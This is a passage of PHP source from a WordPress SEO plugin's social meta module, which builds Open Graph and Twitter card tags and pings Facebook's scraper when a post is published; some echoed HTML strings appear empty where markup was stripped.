'title_shortcodes', 'description_shortcodes', 'hometitle', 'description', 'homeimage', 'generate_descriptions', 'defimg', 'fallback', 'dimg', 'dimgwidth', 'dimgheight', 'meta_key', 'defcard', 'twitter_site', 'twitter_creator', 'twitter_domain', 'gen_tags', 'gen_keywords', 'gen_categories', 'gen_post_tags', 'types', 'facebook_publisher', 'facebook_author', ), ), 'settings' => array( 'name' => __( 'Social Settings', 'all-in-one-seo-pack' ), 'type' => 'metabox', 'help_link' => 'https://semperplugins.com/documentation/social-meta-settings-individual-pagepost-settings/', 'options' => array( 'title', 'desc', 'image', 'customimg', 'imagewidth', 'imageheight', 'video', 'videowidth', 'videoheight', 'category', 'facebook_debug', 'section', 'tag', 'setcard', 'customimg_twitter', ), 'display' => apply_filters( 'aioseop_opengraph_display', $display ), 'prefix' => 'aioseop_opengraph_', ), ); $this->layout = array( 'home' => array( 'name' => __( 'Home Page Settings', 'all-in-one-seo-pack' ), 'help_link' => 'https://semperplugins.com/documentation/social-meta-module/#use-aioseo-title-and-description', 'options' => array( 'setmeta', 'sitename', 'hometitle', 'description', 'homeimage' ), ), 'image' => array( 'name' => __( 'Image Settings', 'all-in-one-seo-pack' ), 'help_link' => 'https://semperplugins.com/documentation/social-meta-module/#select-og-image-source', 'options' => array( 'defimg', 'fallback', 'dimg', 'dimgwidth', 'dimgheight', 'meta_key' ), ), 'facebook' => array( 'name' => __( 'Facebook Settings', 'all-in-one-seo-pack' ), 'help_link' => 'https://semperplugins.com/documentation/social-meta-module/#facebook-settings', 'options' => array( 'key', 'appid', 'types', 'gen_tags', 'gen_keywords', 'gen_categories', 'gen_post_tags', 'facebook_publisher', 'facebook_author', ), ), 'twitter' => array( 'name' => __( 'Twitter Settings', 'all-in-one-seo-pack' ), 'help_link' => 'https://semperplugins.com/documentation/social-meta-module/#default-twitter-card', 'options' => array( 'defcard', 'setcard', 'twitter_site', 'twitter_creator', 'twitter_domain' ), ), 'default' => array( 'name' => __( 'Advanced Settings', 'all-in-one-seo-pack' ), 'help_link' => 'https://semperplugins.com/documentation/social-meta-module/', // this is set below, to the remaining options -- pdb. 'options' => array(), ), 'scan_meta' => array( 'name' => __( 'Scan Social Meta', 'all-in-one-seo-pack' ), 'help_link' => 'https://semperplugins.com/documentation/social-meta-module/#scan_meta', 'options' => array( 'scan_header' ), ), ); $other_options = array(); foreach ( $this->layout as $k => $v ) { $other_options = array_merge( $other_options, $v['options'] ); } $this->layout['default']['options'] = array_diff( array_keys( $this->default_options ), $other_options ); } /** * Forces FaceBook OpenGraph to refresh its cache when a post is changed to * * @param $new_status * @param $old_status * @param $post * * @todo this and force_fb_refresh_update can probably have the remote POST extracted out. * * @see https://developers.facebook.com/docs/sharing/opengraph/using-objects#update * @since 2.3.11 */ function force_fb_refresh_transition( $new_status, $old_status, $post ) { if ( 'publish' !== $new_status ) { return; } if ( 'future' !== $old_status ) { return; } $current_post_type = get_post_type(); // Only ping Facebook if Social SEO is enabled on this post type. if ( $this->option_isset( 'types' ) && is_array( $this->options['aiosp_opengraph_types'] ) && in_array( $current_post_type, $this->options['aiosp_opengraph_types'] ) ) { $post_url = aioseop_get_permalink( $post->ID ); $endpoint = sprintf( 'https://graph.facebook.com/?%s', http_build_query( array( 'id' => $post_url, 'scrape' => true, ) ) ); wp_remote_post( $endpoint, array( 'blocking' => false ) ); } } /** * Forces FaceBook OpenGraph refresh on update. * * @param $post_id * @param $post_after * * @see https://developers.facebook.com/docs/sharing/opengraph/using-objects#update * @since 2.3.11 */ function force_fb_refresh_update( $post_id, $post_after ) { $current_post_type = get_post_type(); // Only ping Facebook if Social SEO is enabled on this post type. if ( 'publish' === $post_after->post_status && $this->option_isset( 'types' ) && is_array( $this->options['aiosp_opengraph_types'] ) && in_array( $current_post_type, $this->options['aiosp_opengraph_types'] ) ) { $post_url = aioseop_get_permalink( $post_id ); $endpoint = sprintf( 'https://graph.facebook.com/?%s', http_build_query( array( 'id' => $post_url, 'scrape' => true, ) ) ); wp_remote_post( $endpoint, array( 'blocking' => false ) ); } } function settings_page_init() { add_filter( 'aiosp_output_option', array( $this, 'display_custom_options' ), 10, 2 ); } function filter_options( $options, $location ) { if ( 'settings' == $location ) { $prefix = $this->get_prefix( $location ) . $location . '_'; list( $legacy, $images ) = $this->get_all_images( $options ); if ( isset( $options ) && isset( $options[ "{$prefix}image" ] ) ) { $thumbnail = $options[ "{$prefix}image" ]; if ( ctype_digit( (string) $thumbnail ) || ( 'post' == $thumbnail ) ) { if ( 'post' == $thumbnail ) { $thumbnail = $images['post1']; } elseif ( ! empty( $legacy[ $thumbnail ] ) ) { $thumbnail = $legacy[ $thumbnail ]; } } $options[ "{$prefix}image" ] = $thumbnail; } if ( empty( $options[ $prefix . 'image' ] ) ) { $img = array_keys( $images ); if ( ! empty( $img ) && ! empty( $img[1] ) ) { $options[ $prefix . 'image' ] = $img[1]; } } } return $options; } /** * Applies filter to module settings. * * @since 2.3.11 * @since 2.4.14 Added filter for description and title placeholders. * @since 2.3.15 do_shortcode on description. * * @see [plugin]\admin\aioseop_module_class.php > display_options() */ function filter_settings( $settings, $location, $current ) { global $aiosp, $post; if ( 'opengraph' == $location || 'settings' == $location ) { $prefix = $this->get_prefix( $location ) . $location . '_'; if ( 'opengraph' == $location ) { return $settings; } if ( 'settings' == $location ) { list( $legacy, $settings[ $prefix . 'image' ]['initial_options'] ) = $this->get_all_images( $current ); $opts = array( 'title', 'desc' ); $current_post_type = get_post_type(); if ( isset( $this->options[ "aiosp_opengraph_{$current_post_type}_fb_object_type" ] ) ) { $flat_type_list = array(); foreach ( $this->fb_object_types as $k => $v ) { if ( is_array( $v ) ) { $flat_type_list = array_merge( $flat_type_list, $v ); } else { $flat_type_list[ $k ] = $v; } } $default_fb_type = $this->options[ "aiosp_opengraph_{$current_post_type}_fb_object_type" ]; // https://github.com/semperfiwebdesign/all-in-one-seo-pack/issues/1013 // if 'blog' is the selected type but because it is no longer a schema type, we use 'website' instead. if ( 'blog' === $default_fb_type ) { $default_fb_type = 'website'; } if ( isset( $flat_type_list[ $default_fb_type ] ) ) { $default_fb_type = $flat_type_list[ $default_fb_type ]; } $settings[ $prefix . 'category' ]['initial_options'] = array_merge( array( $this->options[ "aiosp_opengraph_{$current_post_type}_fb_object_type" ] => __( 'Default ', 'all-in-one-seo-pack' ) . ' - ' . $default_fb_type, ), $settings[ $prefix . 'category' ]['initial_options'] ); } if ( isset( $this->options['aiosp_opengraph_defcard'] ) ) { $settings[ $prefix . 'setcard' ]['default'] = $this->options['aiosp_opengraph_defcard']; } $info = $aiosp->get_page_snippet_info(); $title = $info['title']; $description = $info['description']; // Description options. if ( is_object( $post ) ) { // Always show excerpt. $description = empty( $this->options['aiosp_opengraph_generate_descriptions'] ) ? $aiosp->trim_excerpt_without_filters( $aiosp->internationalize( preg_replace( '/\s+/', ' ', $post->post_excerpt ) ), 200 ) : $aiosp->trim_excerpt_without_filters( $aiosp->internationalize( preg_replace( '/\s+/', ' ', $post->post_content ) ), 200 ); } // #1308 - we want to make sure we are ignoring php version only in the admin area // while editing the post, so that it does not impact #932. $screen = get_current_screen(); $ignore_php_version = is_admin() && isset( $screen->id ) && 'post' == $screen->id; // Add filters. $description = apply_filters( 'aioseop_description', $description, false, $ignore_php_version ); // Add placholders. $settings[ "{$prefix}title" ]['placeholder'] = apply_filters( 'aioseop_opengraph_placeholder', $title ); $settings[ "{$prefix}desc" ]['placeholder'] = apply_filters( 'aioseop_opengraph_placeholder', $description ); } if ( isset( $current[ $prefix . 'setmeta' ] ) && $current[ $prefix . 'setmeta' ] ) { foreach ( $opts as $opt ) { if ( isset( $settings[ $prefix . $opt ] ) ) { $settings[ $prefix . $opt ]['type'] = 'hidden'; $settings[ $prefix . $opt ]['label'] = 'none'; unset( $settings[ $prefix . $opt ]['count'] ); } } } } return $settings; } /** * Applies filter to module options. * These will display in the "Social Settings" object tab. * filter:{prefix}override_options * * @since 2.3.11 * @since 2.4.14 Overrides empty og:type values. * * @see [plugin]\admin\aioseop_module_class.php > display_options() * * @global array $aioseop_options Plugin options. * * @param array $options Current options. * @param string $location Location where filter is called. * @param array $settings Settings. * * @return array */ function override_options( $options, $location, $settings ) { global $aioseop_options; // Prepare default and prefix. $prefix = $this->get_prefix( $location ) . $location . '_'; $opts = array(); foreach ( $settings as $k => $v ) { if ( $v['save'] ) { $opts[ $k ] = $v['default']; } } foreach ( $options as $k => $v ) { switch ( $k ) { case $prefix . 'category': if ( empty( $v ) ) { // Get post type. $type = isset( get_current_screen()->post_type ) ? get_current_screen()->post_type : null; // Assign default from plugin options. if ( ! empty( $type ) && isset( $aioseop_options['modules'] ) && isset( $aioseop_options['modules']['aiosp_opengraph_options'] ) && isset( $aioseop_options['modules']['aiosp_opengraph_options'][ 'aiosp_opengraph_' . $type . '_fb_object_type' ] ) ) { $options[ $prefix . 'category' ] = $aioseop_options['modules']['aiosp_opengraph_options'][ 'aiosp_opengraph_' . $type . '_fb_object_type' ]; } } break; } if ( null === $v ) { unset( $options[ $k ] ); } } $options = wp_parse_args( $options, $opts ); // @issue #1013 ( https://github.com/semperfiwebdesign/all-in-one-seo-pack/issues/1013 ). $post_types = $this->get_post_type_titles(); foreach ( $post_types as $slug => $name ) { $field = 'aiosp_opengraph_' . $slug . '_fb_object_type'; if ( isset( $options[ $field ] ) && 'blog' === $options[ $field ] ) { $options[ $field ] = 'website'; } } return $options; } /** * Applies filter to metabox settings before they are saved. * Sets custom as default if a custom image is uploaded. * filter:{prefix}filter_metabox_options * filter:{prefix}filter_term_metabox_options * * @since 2.3.11 * @since 2.4.14 Fixes for aioseop-pro #67 and other bugs found. * * @see [plugin]\admin\aioseop_module_class.php > save_post_data() * @see [this file] > save_tax_data() * * @param array $options List of current options. * @param string $location Location where filter is called. * @param int $id Either post_id or term_id. * * @return array */ function filter_metabox_options( $options, $location, $post_id ) { if ( 'settings' == $location ) { $prefix = $this->get_prefix( $location ) . $location . '_'; if ( isset( $options[ $prefix . 'customimg_checker' ] ) && $options[ $prefix . 'customimg_checker' ] ) { $options[ $prefix . 'image' ] = $options[ $prefix . 'customimg' ]; } } return $options; } /** Custom settings **/ function display_custom_options( $buf, $args ) { if ( 'aiosp_opengraph_scan_header' == $args['name'] ) { $buf .= '
    '; $args['options']['type'] = 'submit'; $args['attr'] = " class='button-primary' "; $args['value'] = __( 'Scan Now', 'all-in-one-seo-pack' ); $args['options']['default'] = __( 'Scan Now', 'all-in-one-seo-pack' ); $buf .= __( 'Scan your site for duplicate social meta tags.', 'all-in-one-seo-pack' ); $buf .= '

    ' . $this->get_option_html( $args ); $buf .= '
    '; } return $buf; } function add_attributes( $output ) { // avoid having duplicate meta tags. $type = $this->type; if ( empty( $type ) ) { $type = 'website'; } $schema_types = array( 'album' => 'MusicAlbum', 'article' => 'Article', 'bar' => 'BarOrPub', 'blog' => 'Blog', 'book' => 'Book', 'cafe' => 'CafeOrCoffeeShop', 'city' => 'City', 'country' => 'Country', 'episode' => 'Episode', 'food' => 'FoodEvent', 'game' => 'Game', 'hotel' => 'Hotel', 'landmark' => 'LandmarksOrHistoricalBuildings', 'movie' => 'Movie', 'product' => 'Product', 'profile' => 'ProfilePage', 'restaurant' => 'Restaurant', 'school' => 'School', 'sport' => 'SportsEvent', 'website' => 'WebSite', ); if ( ! empty( $schema_types[ $type ] ) ) { $type = $schema_types[ $type ]; } else { $type = 'WebSite'; } $attributes = apply_filters( $this->prefix . 'attributes', array( 'prefix="og: https://ogp.me/ns#"', ) ); foreach ( $attributes as $attr ) { if ( strpos( $output, $attr ) === false ) { $output .= "\n\t$attr "; } } return $output; } /** * Add our social meta. * * @since 1.0.0 * @since 2.3.11.5 Support for multiple fb_admins. * @since 2.3.13 Adds filter:aioseop_description on description. * @since 2.4.14 Fixes for aioseop-pro #67. * @since 2.3.15 Always do_shortcode on descriptions, removed for titles. * * @global object $post Current WP_Post object. * @global object $aiosp All in one seo plugin object. * @global array $aioseop_options All in one seo plugin options. * @global object $wp_query WP_Query global instance. */ function add_meta() { global $post, $aiosp, $aioseop_options, $wp_query; $metabox = $this->get_current_options( array(), 'settings' ); $key = $this->options['aiosp_opengraph_key']; $key = $this->options['aiosp_opengraph_key']; $dimg = $this->options['aiosp_opengraph_dimg']; $current_post_type = get_post_type(); $title = ''; $description = ''; $image = ''; $video = ''; $type = $this->type; $sitename = $this->options['aiosp_opengraph_sitename']; $tag = ''; // for some reason, options is not populated correctly during unit tests. if ( defined( 'AIOSEOP_UNIT_TESTING' ) ) { $this->options = $aioseop_options['modules'][ $this->prefix . 'options' ]; } $appid = isset( $this->options['aiosp_opengraph_appid'] ) ? $this->options['aiosp_opengraph_appid'] : ''; if ( ! empty( $aioseop_options['aiosp_hide_paginated_descriptions'] ) ) { $first_page = false; if ( $aiosp->get_page_number() < 2 ) { $first_page = true; } } else { $first_page = true; } $url = $aiosp->aiosp_mrt_get_url( $wp_query ); $url = apply_filters( 'aioseop_canonical_url', $url ); // this will collect the extra values that are required outside the below IF block. $extra_params = array(); $setmeta = $this->options['aiosp_opengraph_setmeta']; if ( is_front_page() ) { $title = $this->options['aiosp_opengraph_hometitle']; if ( $first_page ) { $description = $this->options['aiosp_opengraph_description']; if ( empty( $description ) ) { $description = get_bloginfo( 'description' ); } } if ( ! empty( $this->options['aiosp_opengraph_homeimage'] ) ) { $thumbnail = $this->options['aiosp_opengraph_homeimage']; } else { $thumbnail = $this->options['aiosp_opengraph_dimg']; } /* If Use AIOSEO Title and Desc Selected */ if ( $setmeta ) { $title = $aiosp->wp_title(); if ( $first_page ) { $description = $aiosp->get_aioseop_description( $post ); } } /* Add some defaults */ if ( empty( $title ) ) { $title = get_bloginfo( 'name' ); } if ( empty( $sitename ) ) { $sitename = get_bloginfo( 'name' ); } if ( empty( $description ) && $first_page && ! empty( $post ) && ! post_password_required( $post ) ) { if ( ! empty( $post->post_content ) || ! empty( $post->post_excerpt ) ) { $description = $aiosp->trim_excerpt_without_filters( $aiosp->internationalize( preg_replace( '/\s+/', ' ', $post->post_excerpt ) ), 200 ); if ( ! empty( $this->options['aiosp_opengraph_generate_descriptions'] ) ) { $description = $aiosp->trim_excerpt_without_filters( $aiosp->internationalize( preg_replace( '/\s+/', ' ', $post->post_content ) ), 200 ); } } } if ( empty( $description ) && $first_page ) { $description = get_bloginfo( 'description' ); } } elseif ( is_singular() && $this->option_isset( 'types' ) && is_array( $this->options['aiosp_opengraph_types'] ) && in_array( $current_post_type, $this->options['aiosp_opengraph_types'] ) ) { if ( 'article' == $type ) { if ( ! empty( $metabox['aioseop_opengraph_settings_section'] ) ) { $section = $metabox['aioseop_opengraph_settings_section']; } if ( ! empty( $metabox['aioseop_opengraph_settings_tag'] ) ) { $tag = $metabox['aioseop_opengraph_settings_tag']; } if ( ! empty( $this->options['aiosp_opengraph_facebook_publisher'] ) ) { $publisher = $this->options['aiosp_opengraph_facebook_publisher']; } } if ( ! empty( $this->options['aiosp_opengraph_twitter_domain'] ) ) { $domain = $this->options['aiosp_opengraph_twitter_domain']; } if ( 'article' == $type && ! empty( $post ) ) { if ( isset( $post->post_author ) && ! empty( $this->options['aiosp_opengraph_facebook_author'] ) ) { $author = get_the_author_meta( 'facebook', $post->post_author ); } if ( isset( $post->post_date_gmt ) ) { $published_time = date( 'Y-m-d\TH:i:s\Z', mysql2date( 'U', $post->post_date_gmt ) ); } if ( isset( $post->post_modified_gmt ) ) { $modified_time = date( 'Y-m-d\TH:i:s\Z', mysql2date( 'U', $post->post_modified_gmt ) ); } } $image = $metabox['aioseop_opengraph_settings_image']; $video = $metabox['aioseop_opengraph_settings_video']; $title = $metabox['aioseop_opengraph_settings_title']; $description = $metabox['aioseop_opengraph_settings_desc']; // Let's make a note of manually provided descriptions/titles as they might need special handling. // @issue #808 ( https://github.com/semperfiwebdesign/all-in-one-seo-pack/issues/808 ). // @issue #2296 ( https://github.com/semperfiwebdesign/all-in-one-seo-pack/issues/2296 ). $title_from_main_settings = trim( strip_tags( get_post_meta( $post->ID, '_aioseop_title', true ) ) ); $desc_from_main_settings = trim( strip_tags( get_post_meta( $post->ID, '_aioseop_description', true ) ) ); if ( empty( $title ) && empty( $title_from_main_settings ) ) { $extra_params['auto_generate_title'] = true; } if ( empty( $description ) && empty( $desc_from_main_settings ) ) { $extra_params['auto_generate_desc'] = true; } /* Add AIOSEO variables if Site Title and Desc from AIOSEOP not selected */ global $aiosp; if ( empty( $title ) ) { $title = $aiosp->wp_title(); } if ( empty( $description ) ) { $description = trim( strip_tags( get_post_meta( $post->ID, '_aioseop_description', true ) ) ); } /* Add default title */ if ( empty( $title ) ) { $title = get_the_title(); } // Add default description. if ( empty( $description ) && ! post_password_required( $post ) ) { $description = $post->post_excerpt; if ( $this->options['aiosp_opengraph_generate_descriptions'] || empty( $description ) ) { if ( ! AIOSEOPPRO || ( AIOSEOPPRO && apply_filters( $this->prefix . 'generate_descriptions_from_content', true, $post ) ) ) { $description = $post->post_content; } else { $description = $post->post_excerpt; } } } if ( empty( $type ) ) { $type = 'article'; } } elseif ( AIOSEOPPRO && ( is_category() || is_tag() || is_tax() ) ) { if ( isset( $this->options['aioseop_opengraph_settings_category'] ) ) { $type = $this->options['aioseop_opengraph_settings_category']; } if ( isset( $metabox['aioseop_opengraph_settings_category'] ) ) { $type = $metabox['aioseop_opengraph_settings_category']; } if ( 'article' == $type ) { if ( ! empty( $metabox['aioseop_opengraph_settings_section'] ) ) { $section = $metabox['aioseop_opengraph_settings_section']; } if ( ! empty( $metabox['aioseop_opengraph_settings_tag'] ) ) { $tag = $metabox['aioseop_opengraph_settings_tag']; } if ( ! empty( $this->options['aiosp_opengraph_facebook_publisher'] ) ) { $publisher = $this->options['aiosp_opengraph_facebook_publisher']; } } if ( ! empty( $this->options['aiosp_opengraph_twitter_domain'] ) ) { $domain = $this->options['aiosp_opengraph_twitter_domain']; } if ( 'article' == $type && ! empty( $post ) ) { if ( isset( $post->post_author ) && ! empty( $this->options['aiosp_opengraph_facebook_author'] ) ) { $author = get_the_author_meta( 'facebook', $post->post_author ); } if ( isset( $post->post_date_gmt ) ) { $published_time = date( 'Y-m-d\TH:i:s\Z', mysql2date( 'U', $post->post_date_gmt ) ); } if ( isset( $post->post_modified_gmt ) ) { $modified_time = date( 'Y-m-d\TH:i:s\Z', mysql2date( 'U', $post->post_modified_gmt ) ); } } $image = $metabox['aioseop_opengraph_settings_image']; $video = $metabox['aioseop_opengraph_settings_video']; $title = $metabox['aioseop_opengraph_settings_title']; $description = $metabox['aioseop_opengraph_settings_desc']; /* Add AIOSEO variables if Site Title and Desc from AIOSEOP not selected */ global $aiosp; if ( empty( $title ) ) { $title = $aiosp->wp_title(); } if ( empty( $description ) ) { $term_id = isset( $_GET['tag_ID'] ) ? (int) $_GET['tag_ID'] : 0; $term_id = $term_id ? $term_id : get_queried_object()->term_id; $description = trim( strip_tags( get_term_meta( $term_id, '_aioseop_description', true ) ) ); } // Add default title. if ( empty( $title ) ) { $title = get_the_title(); } // Add default description. if ( empty( $description ) && ! post_password_required( $post ) ) { $description = get_queried_object()->description; } if ( empty( $type ) ) { // Pro Issue #321 ( https://github.com/semperfiwebdesign/aioseop-pro/issues/321 ). if ( AIOSEOPPRO && ( is_category() || is_tag() || is_tax() ) ) { $og_options = $aioseop_options['modules'][ $this->prefix . 'options' ]; $current_post_type = get_post_type(); // check if the post type's object type is set. if ( isset( $og_options[ "aiosp_opengraph_{$current_post_type}_fb_object_type" ] ) ) { $type = $og_options[ "aiosp_opengraph_{$current_post_type}_fb_object_type" ]; } elseif ( in_array( $current_post_type, array( 'post', 'page' ) ) ) { $type = 'article'; } } else { $type = 'website'; } } } elseif ( is_home() && ! is_front_page() ) { // This is the blog page but not the homepage. global $aiosp; $image = $metabox['aioseop_opengraph_settings_image']; $video = $metabox['aioseop_opengraph_settings_video']; $title = $metabox['aioseop_opengraph_settings_title']; $description = $metabox['aioseop_opengraph_settings_desc']; if ( empty( $description ) ) { // If there's not social description, fall back to the SEO description. $description = trim( strip_tags( get_post_meta( get_option( 'page_for_posts' ), '_aioseop_description', true ) ) ); } if ( empty( $title ) ) { $title = $aiosp->wp_title(); } } else { return; } if ( 'article' === $type && ! empty( $post ) && is_singular() ) { if ( ! empty( $this->options['aiosp_opengraph_gen_tags'] ) ) { if ( ! empty( $this->options['aiosp_opengraph_gen_keywords'] ) ) { $keywords = $aiosp->get_main_keywords(); $keywords = $this->apply_cf_fields( $keywords ); $keywords = apply_filters( 'aioseop_keywords', $keywords ); if ( ! empty( $keywords ) && ! empty( $tag ) ) { $tag .= ',' . $keywords; } elseif ( empty( $tag ) ) { $tag = $keywords; } } $tag = $aiosp->keyword_string_to_list( $tag ); if ( ! empty( $this->options['aiosp_opengraph_gen_categories'] ) ) { $tag = array_merge( $tag, $aiosp->get_all_categories( $post->ID ) ); } if ( ! empty( $this->options['aiosp_opengraph_gen_post_tags'] ) ) { $tag = array_merge( $tag, $aiosp->get_all_tags( $post->ID ) ); } } if ( ! empty( $tag ) ) { $tag = $aiosp->clean_keyword_list( $tag ); } } if ( ! empty( $this->options['aiosp_opengraph_title_shortcodes'] ) ) { $title = aioseop_do_shortcodes( $title ); } if ( ! empty( $description ) ) { $description = $aiosp->internationalize( preg_replace( '/\s+/', ' ', $description ) ); if ( ! empty( $this->options['aiosp_opengraph_description_shortcodes'] ) ) { $description = aioseop_do_shortcodes( $description ); } if ( ! empty( $this->options['aiosp_opengraph_generate_descriptions'] ) && $this->options['aiosp_opengraph_generate_descriptions'] ) { $description = $aiosp->trim_excerpt_without_filters( $description, 200 ); } else { // User input still needs to be run through this function to strip tags. $description = $aiosp->trim_excerpt_without_filters( $description, 99999 ); } } $title = $this->apply_cf_fields( $title ); $description = $this->apply_cf_fields( $description ); /* Data Validation */ $title = strip_tags( esc_attr( $title ) ); $sitename = strip_tags( esc_attr( $sitename ) ); $description = strip_tags( esc_attr( $description ) ); if ( empty( $thumbnail ) && ! empty( $image ) ) { $thumbnail = $image; } // Add user supplied default image. if ( empty( $thumbnail ) ) { if ( empty( $this->options['aiosp_opengraph_defimg'] ) ) { $thumbnail = $this->options['aiosp_opengraph_dimg']; } else { $img_type = $this->options['aiosp_opengraph_defimg']; if ( ! empty( $post ) ) { // Customize the type of image per post/post_type. $img_type = apply_filters( $this->prefix . 'default_image_type', $img_type, $post, $type ); } switch ( $img_type ) { case 'featured': $thumbnail = $this->get_the_image_by_post_thumbnail(); break; case 'attach': $thumbnail = $this->get_the_image_by_attachment(); break; case 'content': $thumbnail = $this->get_the_image_by_scan(); break; case 'custom': $meta_key = $this->options['aiosp_opengraph_meta_key']; if ( ! empty( $meta_key ) && ! empty( $post ) ) { $meta_key = explode( ',', $meta_key ); $thumbnail = $this->get_the_image_by_meta_key( array( 'post_id' => $post->ID, 'meta_key' => $meta_key, ) ); } break; case 'auto': $thumbnail = $this->get_the_image(); break; case 'author': $thumbnail = $this->get_the_image_by_author(); break; default: $thumbnail = $this->options['aiosp_opengraph_dimg']; } } } if ( empty( $thumbnail ) && ! empty( $this->options['aiosp_opengraph_fallback'] ) ) { $thumbnail = $this->options['aiosp_opengraph_dimg']; if ( ! empty( $post ) ) { // Customize the default image per post/post_type. $thumbnail = apply_filters( $this->prefix . 'default_image', $thumbnail, $post, $type ); } } if ( ! empty( $thumbnail ) ) { $thumbnail = esc_url( $thumbnail ); $thumbnail = set_url_scheme( $thumbnail ); } $width = ''; $height = ''; if ( ! empty( $thumbnail ) ) { if ( ! empty( $metabox['aioseop_opengraph_settings_imagewidth'] ) ) { $width = $metabox['aioseop_opengraph_settings_imagewidth']; } if ( ! empty( $metabox['aioseop_opengraph_settings_imageheight'] ) ) { $height = $metabox['aioseop_opengraph_settings_imageheight']; } if ( empty( $width ) && ! empty( $this->options['aiosp_opengraph_dimgwidth'] ) ) { $width = $this->options['aiosp_opengraph_dimgwidth']; } if ( empty( $height ) && ! empty( $this->options['aiosp_opengraph_dimgheight'] ) ) { $height = $this->options['aiosp_opengraph_dimgheight']; } } if ( ! empty( $video ) ) { if ( ! empty( $metabox['aioseop_opengraph_settings_videowidth'] ) ) { $videowidth = $metabox['aioseop_opengraph_settings_videowidth']; } if ( ! empty( $metabox['aioseop_opengraph_settings_videoheight'] ) ) { $videoheight = $metabox['aioseop_opengraph_settings_videoheight']; } } $card = 'summary'; if ( ! empty( $this->options['aiosp_opengraph_defcard'] ) ) { $card = $this->options['aiosp_opengraph_defcard']; } if ( ! empty( $metabox['aioseop_opengraph_settings_setcard'] ) ) { $card = $metabox['aioseop_opengraph_settings_setcard']; } // support for changing legacy twitter cardtype-photo to summary large image. if ( 'photo' == $card ) { $card = 'summary_large_image'; } $site = ''; $domain = ''; $creator = ''; if ( ! empty( $this->options['aiosp_opengraph_twitter_site'] ) ) { $site = $this->options['aiosp_opengraph_twitter_site']; $site = AIOSEOP_Opengraph_Public::prepare_twitter_username( $site ); } if ( ! empty( $this->options['aiosp_opengraph_twitter_domain'] ) ) { $domain = $this->options['aiosp_opengraph_twitter_domain']; } if ( ! empty( $post ) && isset( $post->post_author ) && ! empty( $this->options['aiosp_opengraph_twitter_creator'] ) ) { $creator = get_the_author_meta( 'twitter', $post->post_author ); $creator = AIOSEOP_Opengraph_Public::prepare_twitter_username( $creator ); } if ( ! empty( $thumbnail ) ) { $twitter_thumbnail = $thumbnail; // Default Twitter image if custom isn't set. } if ( isset( $metabox['aioseop_opengraph_settings_customimg_twitter'] ) && ! empty( $metabox['aioseop_opengraph_settings_customimg_twitter'] ) ) { // Set Twitter image from custom. $twitter_thumbnail = set_url_scheme( $metabox['aioseop_opengraph_settings_customimg_twitter'] ); } // Apply last filters. $description = apply_filters( 'aioseop_description', $description ); $meta = array( 'facebook' => array( 'type' => 'og:type', 'title' => 'og:title', 'description' => 'og:description', 'url' => 'og:url', 'sitename' => 'og:site_name', 'thumbnail' => 'og:image', 'width' => 'og:image:width', 'height' => 'og:image:height', 'video' => 'og:video', 'videowidth' => 'og:video:width', 'videoheight' => 'og:video:height', 'key' => 'fb:admins', 'appid' => 'fb:app_id', 'section' => 'article:section', 'tag' => 'article:tag', 'published_time' => 'article:published_time', 'modified_time' => 'article:modified_time', 'publisher' => 'article:publisher', 'author' => 'article:author', ), 'twitter' => array( 'card' => 'twitter:card', 'site' => 'twitter:site', 'creator' => 'twitter:creator', 'domain' => 'twitter:domain', 'title' => 'twitter:title', 'description' => 'twitter:description', 'twitter_thumbnail' => 'twitter:image', ), ); // Issue #1848 ( https://github.com/semperfiwebdesign/all-in-one-seo-pack/issues/1848 ). // Issue #2867 ( https://github.com/semperfiwebdesign/all-in-one-seo-pack/issues/2867 ). if ( is_ssl() ) { $meta['facebook'] += array( 'thumbnail_1' => 'og:image:secure_url' ); $thumbnail_1 = $thumbnail; $meta['facebook'] += array( 'video_1' => 'og:video:secure_url' ); $video_1 = $video; } $tags = array( 'facebook' => array( 'name' => 'property', 'value' => 'content', ), 'twitter' => array( 'name' => 'name', 'value' => 'content', ), ); foreach ( $meta as $t => $data ) { foreach ( $data as $k => $v ) { if ( empty( $$k ) ) { $$k = ''; } $filtered_value = $$k; /** * Process meta tags for their idiosyncracies. * * @since 3.0 * * @param string $filtered_value The value that is proposed to be shown in the tag. * @param string $t The social network. * @param string $k The meta tag without the network name prefixed. * @param string $v The meta tag with the network name prefixed. This is not always $network:$meta_tag. * @param array $extra_params Extra parameters that might be required to process the meta tag. */ $filtered_value = apply_filters( $this->prefix . 'meta', $filtered_value, $t, $k, $v, $extra_params ); if ( ! empty( $filtered_value ) ) { if ( ! is_array( $filtered_value ) ) { $filtered_value = array( $filtered_value ); } /** * This is to accomodate multiple fb:admins on separate lines. * * @TODO Eventually we'll want to put this in its own function so things like images work too. */ if ( 'key' === $k ) { $fbadmins = explode( ',', str_replace( ' ', '', $filtered_value[0] ) ); // Trim spaces then turn comma-separated values into an array. foreach ( $fbadmins as $fbadmin ) { echo '' . "\n"; } } else { // For everything else. foreach ( $filtered_value as $f ) { // #1363: use esc_attr( $f ) instead of htmlspecialchars_decode( $f, ENT_QUOTES ) echo '' . "\n"; } } } } } } /** * Do / adds opengraph properties to meta. * * @since 2.3.11 * * @global array $aioseop_options AIOSEOP plugin options. */ public function do_opengraph() { global $aioseop_options; if ( ! empty( $aioseop_options ) && ! empty( $aioseop_options['aiosp_schema_markup'] ) ) { add_filter( 'language_attributes', array( &$this, 'add_attributes' ) ); } if ( ! defined( 'DOING_AJAX' ) ) { add_action( 'aioseop_modules_wp_head', array( &$this, 'add_meta' ), 5 ); // Add social meta to AMP plugin. if ( apply_filters( 'aioseop_enable_amp_social_meta', true ) === true ) { add_action( 'amp_post_template_head', array( &$this, 'add_meta' ), 12 ); } } } /** * Set up types. * * @since ? * @since 2.3.15 Change to website for homepage and blog post index page, default to object. */ function type_setup() { $this->type = 'object'; // Default to type object if we don't have some other rule. if ( is_home() || is_front_page() ) { $this->type = 'website'; // Home page and blog page should be website. } elseif ( is_singular() && $this->option_isset( 'types' ) ) { $metabox = $this->get_current_options( array(), 'settings' ); $current_post_type = get_post_type(); if ( ! empty( $metabox['aioseop_opengraph_settings_category'] ) ) { $this->type = $metabox['aioseop_opengraph_settings_category']; } elseif ( isset( $this->options[ "aiosp_opengraph_{$current_post_type}_fb_object_type" ] ) ) { $this->type = $this->options[ "aiosp_opengraph_{$current_post_type}_fb_object_type" ]; } } } /** * Inits hooks and others for admin init. * action:admin_init. * * @since 2.3.11 * @since 2.4.14 Refactored function name, and new filter added for defaults and missing term metabox. */ function admin_init() { add_filter( $this->prefix . 'display_settings', array( &$this, 'filter_settings' ), 10, 3 ); add_filter( $this->prefix . 'override_options', array( &$this, 'override_options' ), 10, 3 ); add_filter( 